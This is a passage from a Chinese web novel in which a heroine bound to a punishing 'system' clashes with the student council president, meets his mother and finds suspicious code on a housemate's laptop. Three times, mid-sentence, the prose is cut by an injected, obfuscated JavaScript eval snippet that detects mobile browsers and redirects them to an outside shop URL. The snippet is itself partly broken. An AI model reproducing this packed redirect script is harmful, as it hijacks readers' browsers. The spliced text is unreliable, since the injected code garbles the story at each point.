看他在这片杂乱拥挤的空间里不自觉地蹙眉，目光巡视，最终落在门边一张几乎已经被堆积如山的杂物淹没的矮凳上。 然后，他迈步走过去，倾身，手臂向下—— 眼看就要将怀中那摞颇有分量的文件，叠加在那座已然摇摇欲坠的小山之上。 “等等！” 姜夏琳的声音比她思考更快一步，脱口而出。 那张矮凳显然已不堪重负，任何一点额外的重量都可能让整摞东西轰然倒塌，引得灰尘漫天。 陆临川的动作应声停在了半空。 他没有立刻直起身，保持着那个微微前倾的姿势，侧脸在从窗外斜射进来的光线里，轮廓显得有些模糊。 他没有回头，也没有说话，只是那样停顿着，似乎在无声地等待她的下文。 姜夏琳闭了闭眼，将心头那点因庞大劳动量而生的烦躁压下去，尽量让声音听起来和气些：“……如果陆会长对我这个侥幸被录取的新成员，还存有一丝基本的善意，或者……” 她顿了顿，指尖指向房间里一个相对空旷的石质台面，“对把我发配到这里当清洁工还有半点歉意的话——请把文件放在那边。” 空气凝滞了几秒，只有尘埃在窗边透入的光柱里无声浮动。 陆临川没有反驳她。 他依言转身，走向石台，将那摞文件放下。修长的手指无意中拂过台面，尚未清洁的灰尘立刻沾染其上。 他垂眸，看着自己瞬间变得灰蒙蒙的指尖，面上没什么表情，只淡淡陈述道：“看来你不是很满意这个安排。” 闻言，姜夏琳眉梢不受控制地挑了下，转过身面向陆临川。 清晨的阳光穿过窗棱，切割过她的侧脸，在她长睫下投出一小片阴影。 开口时，她的语气仍然是大小姐的那副温婉得体，但这层薄壳似乎微微裂开了些，露出几分下方被遮掩的东西。 “怎么会，陆会长。” 陆临川抬眼，看向她。 “临时宣布入选，让我在毫无准备的情况下差点失去资格，”她语速平缓，却字字清晰，顾忌着被系统严密监测的契合度，不得不将一些更加尖锐的言辞咽回去，“然后，又被安排到这间乱七八糟的房间，我真是……受宠若惊。” 陆临川安静地听她说完这番话，脸上的表情没什么变化。 “为什么，”姜夏琳定定发问，目光直视着他，“今天早上临时宣布我入会？” 他明明说过不会插手，看情形，学生会审核人员也确实没有通过她的申请。为什么非要来这么一遭？ 她印象中的陆临川，可不像会轻易推翻自己决定的人。 陆临川看着她，半晌，平淡地解释：“我只是想起，你曾经明确表示过非常想加入学生会。至于具体的工作安排，是副会长们的职责范畴。” “你……” 姜夏琳听着他简短的几句话，总觉得那平静语调下，还藏着些未明说的东西。 她轻轻吸了口气，看着对方没有情绪的眼睛，忽然觉得有点说不出的疲惫。 “会长，我以为……合作关系至少应该建立在彼此坦诚的基础上。” 她声音低了些，带着一丝不易察觉的涩意，“如果会长不希望我加入学生会，可以直接拒绝，不需要用这种方式。但如果这次……又是像之前赵绍辉事件那样，需要我站在某个特定的位置，” 她斟酌着用词，目光没有躲闪，“那么无论是什么事，我都需要先知道全部。” 钟管家的调查结果还没有出来，她不该这样说的。可还是没能忍住。 陆临川似乎没料到她会这样说，眼睫明显地眨动了一下，停顿片刻，才低声道：“我没有那个意思。” 姜夏琳没回应，只是转过身，拿起抹布，重新开始擦拭起书架上的灰尘，仿佛要把心中翻涌的情绪也一并抹去。 陆临川站在原地，目光落在她因用力而微微泛白的指关节上，又似乎穿透了她，落在虚空中的某处。 很快，他的视线重新聚焦于她，薄唇轻轻抿了下，最终还是开口，问了一个听起来有些突兀的问题： “昨天下午，你在哪里？” 闻言，姜夏琳擦拭的动作顿住。 昏暗的房间，江竞阴鸷的脸，还有铺天盖地砸落下来的海洋球……所有画面不受控制地冲击而来。 一个冰冷的念头，如细针般刺入脑海—— 他是不是知道了什么？ 垂在身侧的五指悄然收紧，指甲抵住掌心，带来清晰的痛感，迫使她维持表面的镇定。 “……陆会长是在关心我，还是在确认什么？”她转过身，直勾勾地看向对方，试图从他那双琥珀色的眼睛里看出端倪。 “姜学妹，”陆临川垂眸，指尖随意地拂过桌上一本积灰的书脊，发出轻微的沙沙声，“我听说学校里有一座废弃很久的旧储藏室，平时是锁着的，不对外开放。但昨天，有人发现那里的门锁被破坏了，里面一片狼藉……” 他微微停顿了一下，目光抬起，落在她脸上，声音比刚才沉了几分：“江家对赵家的案子很关注。他们，有找过你吗？” 话音落下，一股凉意顺着姜夏琳的脊椎悄然爬升。 她这下几乎可以确信—— 他果然知道。 知道赵绍辉事件不会轻易了结，知道背后的漩涡可能会将她卷进去，也知道，她或许已经身处某种麻烦之中。 “……这就是你临时通知我加入学生会的原因？”姜夏琳扯了扯嘴角，试图露出一个笑，却不太成功，“你想知道昨天储藏室里到底发生了什么？” 陆临川似乎斟酌了下是否要开口，片刻后，才低低说：“我答应过，不会再有人因为赵绍辉的事被牵连。” 这句承诺此刻听起来，却像一句冰冷的讽刺。 “可你明明知道，举报赵绍辉会惹来麻烦！” 一直压抑的情绪终于找到了缝隙，姜夏琳的声音提高了一些，带着委屈和后怕，“我被赵绍辉攻击，被同学们议论，还被江家的人盯上……陆学长，你处理了赵家，顺便敲打了江家，一切都按照你的计划走了，那我呢？” 她向前走了一步，积压的情绪让她的眼眶有些发酸，但她倔强地忍着。 “我被推到最前面，像个活靶子。这就是你说的不会被牵连吗？” 她太久没有这样直白地显露情绪，近乎控诉的话语刚出口，脑子里就立马响起了警告声—— 【检测到关键剧情波动！契合度评价敏锐度提升！请宿主严格遵守人设！】 尖锐的电子音伴随着熟悉的痛感从四肢百骸传开，姜夏琳脸色一白，身体晃了晃，赶忙伸手扶住身旁的书架稳住身体。 沾满灰尘的书架边缘弄脏了她的手指，但此刻她已全然顾不上了。 “我答应帮你，是因为赵绍辉确实做错了，不该逍遥法外，不是让你……” ——不是让你这样把我当成棋盘上的一步！ 最后的话被一股突然蔓延的痛感扼住，姜夏琳额角渗出细密的冷汗，支撑着书架的手用力到关节透出一丝白色，但终究还是撑不住，身体倏地失去了力气，整个人顺着书架滑了下去，跌坐在冰冷的地板上。 陆临川显然没料到她会突然这样，一直平静的眸子里掠过清晰的错愕和紧张。 “姜夏琳？”他下意识地快步上前，蹲下身，伸手想去扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002951|193807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她，“你怎么了？” “别碰我——！” 姜夏琳用残余的力气挥开他的手，声音虚弱却带着抗拒，“你现在……让我加入学生会……又是你计划里的哪一步？” 陆临川伸出的手僵在半空。 他看到姜夏琳煞白的脸，还有眼中那抹清晰的受伤，向来平稳无波的心湖，仿佛被什么东西揪了一把。 “……我，没有。” “我……预料过赵家可能会有反应，也做了一些安排。但我承认，在让你避开这些麻烦上，我考虑得不够周全。”他看着她，声音低沉了下来，带着一种罕见的、试图解释的意味，“但举报赵绍辉，是因为他确实做错了，伤害了很多人，不止你一个。这和我与赵家的立场无关。” 他再次尝试靠近，语气放得更缓：“你先起来，地上很凉，你……” “……我说了别碰我！”姜夏琳的斥责因疼痛而变得绵软，她想向后躲开，身体却沉重得不听使唤。 陆临川没有再理会她的拒绝。他眉头微蹙，直接伸出手，一手绕到她单薄的肩后，另一只手则握住了她的手臂，稍一用力，想将她从满是灰尘的地面扶起。 “你放开……”姜夏琳又急又气，无力的声音就像猫叫，却还微弱地挣扎着。 书架之间的过道异常狭窄，容纳下两人已极为勉强。她这一动作，反而让陆临川不得不后退半步，肩背结结实实地撞在了后方堆满卷宗的书架上，然后—— 砰——哗啦啦！ 一声闷响，紧接着是书本卷宗接连坠地的声响。 堆积在高处的档案册如多米诺骨牌一般接连掉落，重重摔在地面，瞬间激起一片厚重的灰尘。 如同小型爆炸般，灰白色的尘雾猛地升腾，霎时便弥漫了整个空间，呛人的尘土味扑面而来，视野变得模糊。 陆临川反应很快，几乎在书本开始下坠的刹那，原本扶着姜夏琳手臂的那只手迅速上移，宽大的手掌直接掩住她近乎大半张脸。 扶在她肩背的手则顺势一压，将她往自己怀里带了一把，同时侧身，用后背隔开那道扑面而来的尘浪。 姜夏琳听到陆临川被档案册砸到脊背时发出的几声闷哼，本来还在挣扎的身体微微一顿，不得不暂时收敛了动作。 不知过了多久，书册掉落的声响暂息，飞扬的烟尘在从窗户透入的光柱里缓缓沉降、飞舞，如同慢放的雪片。 惩罚的痛感在陆临川掌心贴近她肌肤时便逐渐散去。 五感重新回笼，周身传来一股温暖的包裹感，姜夏琳这下突然意识到—— 此刻，她和陆临川的身体几乎紧紧贴在一起。 她后背抵着冰冷坚硬的书架木板，陆临川的一只手护在她脸侧，另一只手则稳稳揽在她肩后。 狭窄逼仄的空间里，他身上那股极淡的、清冽如雨后松林般的冷香，混合着此刻无处不在的尘土味，几乎将她完全笼罩。 她甚至能清晰感知到，他胸膛因呼吸而产生的细微起伏，以及透过衣料传来的、属于他的稳定热度。 姜夏琳怔住了。 她眨了眨眼，睫毛扫过他近在咫尺的掌心。 视线已经适应了他大掌笼罩下的昏暗，她能清楚看见他线条优越的下颌，微微泛红的眼尾，以及沾上些许灰尘颗粒的睫毛。 下一刻，他凸起的喉结突然滚动了下，然后侧过头，压抑地低咳了几声，显然是被方才的灰尘呛到。 姜夏琳迟疑了一下，思忖着是否要抬手拍拍他的肩，只是这个念头刚生起—— “临川。” 一道沉静的女声毫无预兆地从不远处响起，瞬间冻结了室内所有的声音和动作。 两人都被吓了一跳，双双转过头去，看向声音的来源。 只见档案室开着的门外，一位衣着典雅、气质卓然的女人静立在门边，不知已经盯着两人看了多久。 20. 名片 女人妆容细腻，唇色是温柔的豆沙色，衬得肤色白皙如雪。深棕色的长发在耳后低低盘成一个发髻，几缕精心打理过的碎发自然垂落，点缀着纤长素净的脖颈。 她长睫下的眼眸清亮而深邃，像两潭望不见底的静水，看不出任何情绪，却让姜夏琳莫名感到几分熟悉。 女人没再开口，她目光扫过蹲坐在地面，发丝因方才的突发状况而略显凌乱的姜夏琳，又掠过她身前近乎将她环抱在怀里的陆临川，最后，定格在两人之间那过于亲密的距离上。 姜夏琳感到陆临川搭在自己肩背和手臂上的手突然收紧了些，力道大得让她微微蹙眉，下一秒，她便被一股不容抗拒的力量从冰冷的地面半扶半拽了起来。 随即，那双手像触电般迅速松开。 陆临川转过身，衣领在书架狭窄的缝隙间轻轻擦过她的脸颊，脚下向前迈了半步，颀长的身形不着痕迹地将她挡在身后。 然后，他抬眼，看向那个立在门外光影交界处的女人。 “母亲。”他唤道。 听到这个称呼，姜夏琳眼睫微微一颤。 她忽然明白，为何会觉得这位女士的眼神眼熟—— 这位是陆临川的母亲，陆氏财团那位经常出现在财经版块与社交新闻中的女主人，林尚语。 身为未来市顶级财阀，陆氏夫妇是豪门联姻的典范，家世、能力乃至外貌都堪称匹配，早年便是媒体追逐的焦点。 陆临川从小在镜头下长大，后来更因在自家开发的社交软件W上分享生活，意外带动软件爆红，使得一家人彻底暴露在公众视野之中。 多年来，媒体笔下描绘的陆家，永远是事业成功、家庭美满的模范样本。 此刻，这位活在报道与传说里的女人，就真实地站在档案室门口。 她穿着一身质感高级的深棕色长裙，外罩同色系风衣，保养得宜的面容几乎看不出岁月痕迹，若非那周身沉淀下来的不同常人的气度，单看相貌甚至会让人误以为是哪位高年级的学姐。 那张与陆临川有七八分神似的脸上，带着相似的，平静却令人难以捉摸的神情。 她只是静静站着，并未踏入房间里半步，却莫名让人感到一股威压。 姜夏琳下意识垂下眼睫，忽然觉得自己身处的这片狼藉，与对方那份精致到头发丝的得体感极为格格不入。 “临川，”林尚语终于开口，声音像经过精心调校的乐器，每个音都恰到好处，“这里是学生会大楼。” 她目光在陆临川仍泛着些许红晕的眼尾停留了一瞬，继续往下道，语气听不出喜怒：“与一位正在工作的同学争执不休，拉拉扯扯。你的风度和体统呢？” 姜夏琳看不到陆临川的表情，只能瞥见他挺直的背脊僵了一瞬，原本因咳嗽而泛红的耳廓，在林尚语话音落下后，血色以肉眼可见的速度褪去。 “是我失态。”他低声说，喉结不明显地滚动了一下，“对不起，母亲。” “……我以为，你至少不会犯这种错误。”林尚语的语调没有半分拔高，称得上温和，却比直接的斥责更令人感到压力。 姜夏琳听着，指尖无意识地摩擦了一下。 报道里对陆家的描述永远和睦而温情，可此刻在这间昏暗的档案室里，这光鲜的表象却仿佛被撕开了一道缝隙，露出内里更为复杂的底色。 令人难捱的静默中，林尚语微微偏头，指尖将颊边一缕碎发拢至耳后。 她目光细致地扫过档案室内，不放过任何一处混乱，脚下却始终稳稳地停在门槛之外，仿佛那里有一条无形的界限。 “这位同学，”不知是想到什么，她的视线忽然越过陆临川的肩膀，落在他身后始终没有出声的的姜夏琳身上，“请问你的名字，以及在这里的工作是？” 姜夏琳心脏微微一紧，不得不稍稍侧身，从陆临川身后探出些许：“伯母您好，我叫姜夏琳。是今天刚加入学生会的新成员，副会长安排我来整理这间档案室。” 她略一停顿，补充道：“您可能有些误会，刚才是我突然有点不舒服，没站稳，陆会长只是顺手扶了我一把。”无论如何，方才那些争执是她和陆临川之间的事，她本能地不想让这位气场强大的长辈过多介入。 “嗯。”林尚语轻轻应了一声，显然并未将这解释放在心上。 她目光再次掠过室内，眼里流露出一股不赞同的意味：“学生会怎么能只安排你一个人来做这么繁重的清扫工作？” 她语气放缓，一字一句，清晰而温和：“毕竟，身为会长，关心成员、必要时亲力亲为，也是分内之责。你说呢，临川？” “伯母，我不是这个意思……”姜夏琳下意识想拒绝，她可不想和陆临川两个人单独被关在这间屋子里。 “夏琳，”林尚语却温柔地打断了她，唤她的名字自然得仿佛早已相熟，“接下来的事，交给临川就好。” 她朝姜夏琳微微颔首，“你可以先出来了。” ……什么？ 姜夏琳愣了一下，还没完全理解这个指令的含义，身前的陆临川已经沉默地侧身，为她让出一条路。 他垂着眼，低声说了一句：“去吧。” 姜夏琳站在原地，一时有些无措。 可林尚语不再说话，只是用那双沉静的眼睛看着她，陆临川也低着眼，侧脸线条冷硬。空气再次凝固。 ……算了。 她抿了抿唇。这烂摊子本就因他而起，现在由他收拾，也算合理。 “抱歉。”她对陆临川低低说了句，便小心地从他与书架之间那道窄缝侧身挪出，走到林尚语身边。 靠近的瞬间，一股清浅优雅的香气迅速萦绕过来，与档案室内陈旧书籍和尘土混合的气息截然不同。 林尚语似乎很满意她的顺从，目光在她身上停留片刻，然后从手肘处那只皮质细腻的手包里，取出一张纯白色的名片。 上面只有简简单单的“林尚语”三个字，以及一行联系方式。 她将名片放入姜夏琳因紧张而有些微凉的手中，指尖相触，一触即离。 “我为临川方才的失礼向你道歉，希望没有太打扰你的工作。” 林尚语亲切地同她说，仿佛方才那个带着低气压的人并不是她，“有空的时候，欢迎你给我打电话，来家里坐坐，也好让我聊表歉意。” 她说着，目光意有所指地再次扫过一片狼藉的室内，语气微微重了几分：“这里剩下的工作，就交给临川吧。他会处理好的。” 说罢，她同姜夏琳微微颔首，姿态优雅。 等到姜夏琳有些愣怔地点头后，她便不再停留，转身，步伐从容地沿着走廊离去，仿佛只是顺手处理了一件微不足道的小插曲。 那阵清雅的冷香随着她的离开而逐渐淡去，最后彻底消散在空气中。 姜夏琳站在原地，指尖无意识地摩挲着那张仍带一丝余温的名片，半晌，才缓缓转过头，看向被独自留在狼藉中的陆临川。 他仍站在原地，眉眼低垂着，薄唇抿成了一条毫无弧度的直线。 感受到姜夏琳的视线，他缓缓抬起头，朝门口走来。 动作间，姜夏琳能看出他肩颈处不自然的僵硬—— 方才从高处砸落的档案册分量不轻，结结实实地撞在他的背上。 她犹豫了一下，在他走到门口时，小声开口：“……陆会长，还是我来吧。这本来是分配给我的工作。” “你走吧。”他在距离她一步之遥的地方停下，低低说。 “……或者，我留下来一起收拾，两个人会快一些。”她试图坚持，目光扫过他略显苍白的侧脸。 “你走。” 陆临川抬手，指节分明的手指用力捏了捏眉心，似乎已经耗尽了所有维持平静的力气，接下来的每个字都像是从齿间挤出，“现在、立刻，离开这里。” 话音刚落，他甚至没有再看她一眼，直接抬手，握住了厚重木门的边缘。 “砰——” 一声不轻不重的闷响，门在姜夏琳面前□□脆利落地合上。 厚重的门板几乎贴到她的鼻尖，瞬间将门内的沉闷光线与气味，还有方才发生的一切都完全阻断。 走廊明亮的顶光洒下来，与门内仿佛是两个世界。 姜夏琳心头莫名生出一股不真实感，仿佛一场风暴席卷而过，留下满地狼藉，和一片诡异的宁静。 她转身，准备离开，却猝不及防地与走廊另一端正倚着墙、好整以暇望过来的某人撞上眼神。 是林薇。 一段时间没见，她似乎剪了头发，原本及腰的长发现在只到锁骨，几缕发丝随意地翘着，为张总是带着笑意的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17009193|193807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸更添几分灵动。 她胸前抱着份文件夹，微微歪着头，唇角噙着一丝玩味的弧度，显然已经旁观了有一会儿。 “就这样把陆大会长一个人扔在里面打扫？”林薇先开口，语调上扬，带着她一贯的那种略带调侃的口吻。 “不然呢？”姜夏琳将林尚语的名片随意塞进外套口袋，语气有几分生硬，“是他要求的。” “你还真是不客气。”林薇笑意加深，眼睛弯成月牙，迈着轻快的步子朝她走来，“姜学妹，用赵绍辉的事情交换你进入学生会，怎么样，得偿所愿了？” 姜夏琳抬眼看她，没有接她话里的调侃，径直问道：“那天，你听到了多少？” “……这需要特意去听吗？”林薇在距离她几步远的地方停下，耸了耸肩，“一大早上，迎新会都快开完了，陆临川才急匆匆地临时通知让你入会，工作分配到这种犄角旮旯的地方，还能正好被他撞见……稍微动动脑子都猜得到吧？” 她走近一步，声音压低了些，带着熟稔的语气：“现在学生会里，或者，整个学校，包括陆夫人，应该没人不知道你是让陆会长破格录入的关系户了。恭喜啊，这开局可真够引人注目的。” 姜夏琳抿了抿唇，并不想同她深入探讨自己和陆临川之间那些更复杂的纠葛。她将话题转向另一个更在意的问题：“刚才，陆夫人怎么会出现在这里？” “啊，看来是真没人告诉你。”林薇无奈地摆摆头，示意了一下被走廊分隔开的另一侧，“学生会的顶楼，有一半是董事会的专用区域，包括会议室和休息室。今天正好是新学年第一次董事会，陆夫人是董事代表之一，出现在这里再正常不过。” 她意味深长地停顿了一下，目光扫过档案室紧闭的门，又落回姜夏琳脸上：“不过，我猜她大概也没想到，会在这种地方见到自己儿子……和一位正在努力工作的新成员。” 姜夏琳沉默着，没有接话。林薇说话总是这样，真假难辨，话里有话，让人摸不清她究竟是想提醒，还是单纯在看好戏。 林薇也不在意她的沉默，抱着文件的手臂换了个姿势，继续说道：“学生会有两位副会长，我是一个，许如枫是一个，我们各管一摊。你被分到许如枫手下，以后……”她拖长了语调，眼里闪过一丝说不清是同情还是幸灾乐祸的光，“就自求多福吧。” “不过，在你今天看起来确实有点倒霉的份上，给你个忠告。”她顿了顿，语气里多了几分难得的认真，“在许如枫面前，你最好和陆临川保持距离，能多远就多远。” “……为什么？”姜夏琳脱口而出。 林薇却没有立刻回答。 她转身，抱着文件转身朝电梯口走去，直到走近轿厢前，按下下行按钮，才回过头，朝仍站在原地的姜夏琳眨了眨眼。 “因为，许家和陆家是世交。她很有希望，”她一字一顿，清晰地说道，“成为未来陆临川的妻子。” “叮”的一声，电梯门滑开。林薇步入轿厢，转身面向姜夏琳。 在金属门缓缓合拢，即将隔绝视线的前一刻，她脸上依旧挂着那副惯常的看戏般的神情。 门很快彻底关上，将她的身影吞没，也让空旷的走廊重归寂静。 ……妻子。 姜夏琳站在原地，这个词在脑海里轻轻回响了一下，然后消散。 与她何干。 她收回目光，无意再等待下一趟电梯，转而推开旁边厚重的消防门，从楼梯间下了楼。 走出学生会大楼时，午后的阳光有些刺眼。 门口人来人往，新加入学生会的成员们抱着文件或器材，步履匆匆，脸上带着初入新环境的兴奋与忙碌。 姜夏琳站在台阶上，突然成了这副忙碌景象里唯一一个游手好闲的人。 她想起自己还有几门课的预习作业没完成，与其在这里无所适从，不如去做点实际的事。 走下台阶，她沿着人行道慢慢走着，路过一个不锈钢垃圾桶时，脚步顿了下。 手伸进口袋，触到那张边缘光滑的名片。 她将名片拿出，垂下眼睫，又读了一遍上面寥寥的几个字，然后，手腕轻轻一扬—— 名片在空中划出一道短暂的弧线，随即落入垃圾桶张开的黑色入口里。 她没再多看一眼，转身汇入了校园的人流。 21. 安珀之心 下午到晚饭前都是满课，其中有两堂是社会科学文化系的专业课，教室里坐着的大多是在新生晚宴上有过一面之缘的面孔。 姜夏琳挑了个靠窗的位子，手掌撑着脸颊，目光几次扫过逐渐满员的阶梯教室，却始终没看见苏珏的影子—— 自那场蓄谋的储藏室事件后，她就像人间蒸发了一般，再没出在校园里出现过。 ……做了亏心事的人，总是躲得最快。 这个念头冷冰冰地浮现在脑海，姜夏琳唇角抿成一条平直的线，转而将视线投向窗外。 暮色一层层染透天际时，最后一堂课的下课铃终于敲响。 今晚钟管家有事外出，姜夏琳独自乘车回到姜家别墅，推开门，迎面而来的是一片寂静的黑暗。 她打开玄关处的壁灯，弯腰换了鞋，起身时，视线无意间掠过客厅方向，忽然顿住—— 客厅的主灯没开，只有落地窗旁一盏不起眼的装饰灯亮着，在厚重地毯上投下一圈狭窄而温暖的橘色光域。 光域中央，那张宽大的米白色懒人沙发里，正斜斜倚着一道身影。 季时安。 他不知何时回来了。 一件宽松的浅灰色羊绒卫衣衬得他肩线清瘦挺拔，深色长裤包裹着修长的腿部线条，随意交叠。 他整个人陷在柔软的沙发靠垫里，一只手搭在腿上，另只一手则自然地垂落。 深秋的晚风带着寒意，从微微打开一线的窗缝溜进来，拂过他裸露在外的手掌。 片刻后，他五指微微动了下，然后往袖口里缩去，像是感觉有些寒冷。 姜夏琳把包放在玄关柜上，边纳闷着他怎么不把灯都打开，边小心翼翼地走过去。 距离拉近，沙发上人的轮廓也愈发清晰。 她看到季时安头微微歪向一侧，几缕不听话的发丝滑落额角。双眼安静地阖着，呼吸均匀绵长，胸膛伴随着产生平稳的起伏。 ……睡着了。 这还是自他暂住以来，姜夏琳第一次在家里遇到他。 之前因邵晏舒而生的那点微妙芥蒂早已厘清，此刻她后知后觉地想起，自己似乎还没就储藏室时的事好好向他道过谢。 正想着，脚步已将她带到离沙发几步开外的地方。 从这个角度，能更清晰地看见季时安的侧脸。 灯光从他上方洒落，在鼻梁一侧投下窄而深的阴影，纤长的睫毛密密覆下来，在眼睑处拓出一小片安静的阴翳。 他整个人浸在昏黄的光晕里，褪去了平日那种捉摸不透的疏离感，显出几分没有防备的柔和。 姜夏琳目光掠过他微蜷的手指，顿了顿，转身走向一旁的矮凳，取下那张叠放整齐的米白色羊绒盖毯。 她抱着毯子折回，视线却突然被茶几上敞开的笔记本电脑屏幕攫住。 那是季时安的笔记本。屏幕没锁，还显示他睡着前最后停留的界面。 屏幕被分成了左右两侧，左侧是密密麻麻的代码窗口，而右侧…… 赫然显示着一颗被数据流缠绕着的、样式简约的立体心形。 ——和未来之恋APP的图标一模一样。 意识到这件事的瞬间，姜夏琳呼吸倏地顿住了。 她脚步不受控制的转向，抱着毯子，蹲在了茶几与懒人沙发间的空隙里。 屏幕光射在她的脸上，映得眼底明明暗暗。她伸出手，指尖悬在触摸板上方，犹豫了一瞬，便轻轻按了下去。 点击了几次动画界面并无效果，她转而将代码窗口调至前台，细细查看。 密密麻麻的英文变量与函数名之间，夹杂着几行简短的注释。 但她根本看不懂其中的专业术语，一口气翻到最后，才终于看到一段似是而非的能读懂的文字： 【协议目前已绑定，绑定对象：？？？】 ……协议？什么协议？ 被绑定的人又是谁？ 这是……在说系统S001吗？ 姜夏琳喉咙发干，一时间只顾着紧盯这行字，却没注意到身后那道原本均匀的呼吸声忽然停顿了一下。 紧接着，温热的吐息毫无预兆地拂过她耳后裸露的肌肤。 “……看得懂吗？” 低而缓的嗓音，带着刚醒来的微哑，像一片羽毛轻轻搔刮过耳膜。 姜夏琳浑身一僵，心脏几乎骤停。她猛地侧过脸—— 鼻尖猝不及防擦过一片温热光滑的肌肤。 季时安不知何时已悄无声息地倾身过来，下巴几乎搁在她肩头，脸庞离她几乎只有一个指节的距离。 暖黄的灯光从上方投来，为他轮廓镀上一层柔和的虚边，也让那双近在咫尺的眼睛显得愈发幽深。 姜夏琳甚至能看清他眼睑上极淡的纹路，和睫毛末梢被灯光染成的浅金色，以及这双瞳孔里，自己有些惊惶的倒影。 太近了。 温热的气息似有若无地拂过她的皮肤，激起一阵细微的战栗。她本能地向后仰去，脊背却轻轻抵在了坚硬的茶几边缘，退无可退。 季时安似乎还带着初醒的迟缓，目光在她绷紧的脸上停留了片刻，才缓缓转向仍在幽幽发光的电脑屏幕，片刻后，又移回她眼中。 沉默在两人之间蔓延，只有窗外渗入的风声细微作响。 姜夏琳对上他的目光，压住心头的慌乱，喉间轻轻吞咽了一下，率先开口打破了这片寂静：“……这是，你项目的一部分？” 她顿了顿，补上半句听起来更自然的解释：“……代码看起来很复杂。” 闻言，季时安唇角很轻地牵动了一下，像是一个无声的笑。 他身体向后撤开些许，带来一丝宝贵的空气，顺着姜夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17021293|193807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琳的视线，一同看向那颗在屏幕上缓缓流转的心。 “不是。”他轻轻说，“这是很多年前开源社区流传下来的一个经典动画，叫‘安珀之心’。” “……安珀之心？”姜夏琳喃喃重复。 “计算机图形学早期的标志性作品。”季时安指尖划过触摸板，将动画窗口放大，“它的代码很短，却实现了当时看来很惊艳的实时渲染效果。作者将它完全开源，所以后来很多涉及图形与交互的项目都会引用这段代码，算是一种……技术的致敬。” 他说得详细而平和，甚至带着几分对前人研究成果的欣赏，就像身处一场学术研讨会。 ……所以，系统S001只是偷了一段著名的开源代码来美化它的图标？ 这个认知让姜夏琳感到一阵荒谬的无力，心底那根绷紧的弦却并未因此而松开。 这巧合实在是太精准，他真的……毫不知情？ “那你们正在做的项目，具体是什么？”她顺着话题追问，“听钟姨说，你最近忙得都住在学校公寓了。” 季时安闻言，微微偏头，用那双在灯光下显得颜色偏浅的眼瞳静静打量了她片刻。 “……你还注意过我回不回来？”他轻声反问，语气里听不出太多情绪，又并未在这个问题上多留，很快自然地接了下去，仿佛只是无心之言，“一个尝试性的课题。我们在试图捕捉一些，传统传感器难以量化的东西，比如特定环境下的生物电信号波动，或者……” 他顿住，目光不经意落在姜夏琳自然垂在身侧的手上，忽然问道：“你的手，可以借我用一下吗？” “……什么？”这个突兀的请求让姜夏琳怔住。 但眼见对方神情专注而坦然，仿佛这只是一个再普通不过的实验步骤。她迟疑片刻，终究点了点头：“可以。” 得到应允，季时安唇角微微勾了一下。 他没有立刻动作，而是先倾身，从茶几下拿出一个手掌大小的黑色扁平设备，把数据线连接上电脑。 然后，他才伸出手，虚虚圈握住姜夏琳的手腕，牵引着她，掌心向下，覆在那个黑色设备的表面上。 紧接着，他自己的手掌也放了上来，不是重叠覆盖，而是平放在她手背的右侧，随后微微抬起指尖，轻柔地贴上她手侧的肌肤。 两只手掌侧缘相贴，姜夏琳瞬间感到他皮肤被夜风吹拂后的微凉。 与此同时，笔记本屏幕上，那颗原本静静流转着的安珀之心，倏然剧烈跳动了一下。 图案下方，还清晰地浮现出一行数字： 90% 紧接着，数字开始攀升。 91%，92%，93%…… 熟悉的画面让姜夏琳浑身的血液都变得冰凉，不等数字跳动结束，她手腕猛地一缩，像是被灼伤般，将手从黑色面板上抽走。 22. 请柬 “——这是什么？！” 她脱口而出，声音因为紧绷而显得有些尖利，转头时的动作有些急，额头差点磕到季时安的下颌。 见状，季时安静了两秒，才开口解释。 “……理论上是个高精度体温传感器，但加了一点简单的逻辑电路。它的触发条件不是单一温度，而是两个接触点之间的微小温差和电容变化。也就是说，至少要两个人发生接触，并且达到一定的同步率，才会驱动这段安珀之心的动画。” 他低声解释着，不知不觉中微微后撤了身体，和姜夏琳之间拉开一段礼貌的距离，目光却未从她苍白的脸上移开。 解释完一切，他略作停顿，神情有些犹豫，但还是问道：“你……还好吗？” 姜夏琳惊魂不定地看着他，试图从他每一寸表情中找出破绽。 他的话毫无漏洞，就像……这所谓的安珀之心真的只是由代码操控的动画效果。 可剧烈的不安感却像墨汁滴入水中，顽固地扩散开来。 太像了。 无论是图标，还是形式，一切……都与未来之恋APP如出一辙。 可她要怎么说？这个世界上有一个和你的代码相似的东西控制着我，这个人是你吗？ 先不说系统S001严令禁止泄露它的存在，光是这个念头说出口，就足以让她被当成疯子。 “……没事。”姜夏琳终于找回自己的声音，尽管听起来十分干涩。 